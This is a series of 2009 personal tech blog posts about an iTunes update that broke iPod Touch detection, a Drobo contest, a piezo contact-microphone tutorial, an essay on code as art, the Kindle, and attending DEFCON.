2009-06-04T14:33:00.001-07:00

I thought wolfrumalpha could prove to me..., originally uploaded by bsdpunkblog.

I thought wolfrumalpha could finally prove to me that they were different people. le sigh

(Choose All Sizes after clicking the picture)

The apple of my eye: or how much can you fuck up so quickly

2009-06-03T23:50:00.001-07:00

Why must you hurt me so, originally uploaded by bsdpunkblog.

I updated to iTunes 8.2, which has made my macbook unable to see my ipod touch. Now most would think, what I meant is that iTunes can't see it, however that is not the case. The computer refuses to recognize that is plugged in, in any way....unless I turn on my windows virtual machince, then install itunes on it, then it can see the device and asks me a bunch of questions about my iPod I don't want to answer(not like is it jailbroken, because it is not, but like would you like to sync your purchases), Personally I have been SEVERELY BURNT by the authorizing of iTunes accounts before so I most definitely do NOT WANT TO AUTHORIZE MY VM. It also caused a problem with an album I bought from the iTunes store today, I bought it at five and only through much fanagling did I eventually recieve it at 7. Honestly I love apple but this problem is unnaceptable...it really seems to me they do NO QA with their devices before making a release.

Drobo video contest, win a drobo

2009-06-02T22:31:00.000-07:00

DROBO I WANT ONE

Drobo is having a video contest to win a drobo. I suggest everyone enter. Here is my video, please share yours.

http://drobo.com/videocontest/

Google Google get Bing

2009-06-02T14:26:00.001-07:00

Google Google get Bing, originally uploaded by bsdpunkblog.

Lol, I googled google and bing is the first result. Nice guys.

Tutorial How to make a contact mic

2009-06-01T20:55:00.000-07:00

Why make a contact mic?
A contact mic, will pickup vibrations on any object it is attached to. In affect making anything give off noise, or if done properly music.

Ok to make a contact microphone you need a piezo electric disc, and a 1/8 plug, and some wire. It's best to have a piezo with wires, otherwise you need to solder one to the crystal and one to the metal. Attach those wires to the plug, and wallah a contact mic. Here are the pics and the video above.

Japon( my dear good friend ) And TinyTox's ( Also friend ) Geek Pad

2009-05-27T17:15:00.000-07:00

Enjoy there pad.

WTF DOOOD, UPDATE THE BLAG

2009-05-26T06:45:00.000-07:00

I haven't made a post in over a week, for those of you worried I'll tell you what I have been up to. The last two or three weekends I have felt exhausted from various events, such as getting shit faced at ren faire and throwing up, or "enjoying", the company of the girls family, so this weekend I decided to take it easy, and try to get some R&R.

I've decided though, that I am never really going to be not exhausted and it's time to suck it up and just keep runing until I get a second wind wether it comes or not. So I won't let my time problems or tiredness problems effect the output of the blog any more....On that note, let's talk about the future of the blog. Right now my focuses have shifted to becoming obsessed with electronic music and the instruments one might use in the production of a live electronic music show. I have a planned contact Microphone tutorial coming up. As for older promises, here is where we stand:

SSL Part 2(Still Coming)
Beggining Hardware Hacking Part 2(On Hiatus)
Drunk Python Video Tutorials(Still Coming, but changed to Drunken Ruby Video Tutorials)

I am going to try to make the blog a little more arty as well, by providing at least a picture with each post. So Live Long and Prosper.

Things that will make you more interested in this post:
Using the tag "electroclash", to make a station on last.fm
Watching the Movie "Better Living through Digital Circuitry"
A do it yourself Syntesizer kit
The wikipedia entry for "Contact Microphone"

Programming as an artistic medium

2009-05-16T17:43:00.000-07:00

What is art? Art is probably not a term, that I can successfully nail down. For the sake of this post I have choosen to use a portion of the definition from Wikipedia:
Wikipedia says:
Art is the process or product of deliberately arranging elements in a way that appeals to the senses or emotions. So what excludes something functional from being art. So from that I confabulate that what excludes a functional object from being art, is that the creator made something that was functional and had no intention of it, appealing to the senses or emotions of it's user.
When I did my earlier post on "Virus as art" some people disagreed that it was art. Now you may not agree that it is, but based on the definition we(I) have agreed to use in this post, it most likely is art, as the intention was there. I think a lot of people are sceptical of code as art, or the presentation it creates as art, are so because of the complexity of code, the complexity of the tool. At one point in John Maeda's book "Creative Code" (The inspiration for making this post) he writes about asking Morio Shinoda why he moved away from making kinetic sculptures, and he responed with "Because it was a bitch". I think code is not considered art, because.....well as far as making visual or sound art(see SuperCollider), it's a bitch.
It's really interestting to see the tools that have arisen because of this problem....ie code is a bitch for art. Tools like, processing, Alice, vvvv, and scratch. Just because these langauges are focused on making "art", doesn't mean that other older languages can't be considered the same.
So some people like John Carmack, should be considered more than innovators but also as artists.

The kindle...er sort of...

2009-05-13T10:10:00.000-07:00

The kindle has become the darling of many people's eye. So the real nerd $ell component on it is the e-ink screen, and the always on internet connection. Whenever I look at one though, all I think is....That isn't in color. The price is to high, for even an impulse gadget buyer like myself. I could only justify getting a Kindle DX if I were a student and I knew that the text books I would have to buy would be significantly cheaper. I don't have a kindle, I do have an ipod Touch, which interestingly enough has a kindle app, so that you can read kindle books on your ipod, and while the tables and charts in the books I read are pretty much destroyed, I find that I can read faster with the touch than an in print book. I believe this has to do with the large size of the text more than anything. So if you read a lot, I suggest you get it(kindle app for ipod). There are a couple of great free books in the kindle store, like one of my old favorites, The Assassin's Apprentice.

PS I think the trick is the other two books that complete the series, aren't free.

Who's going to defcon this year?

2009-05-04T07:40:00.000-07:00

I AM WOOT!

If you want to meet up with me at sometime let me know.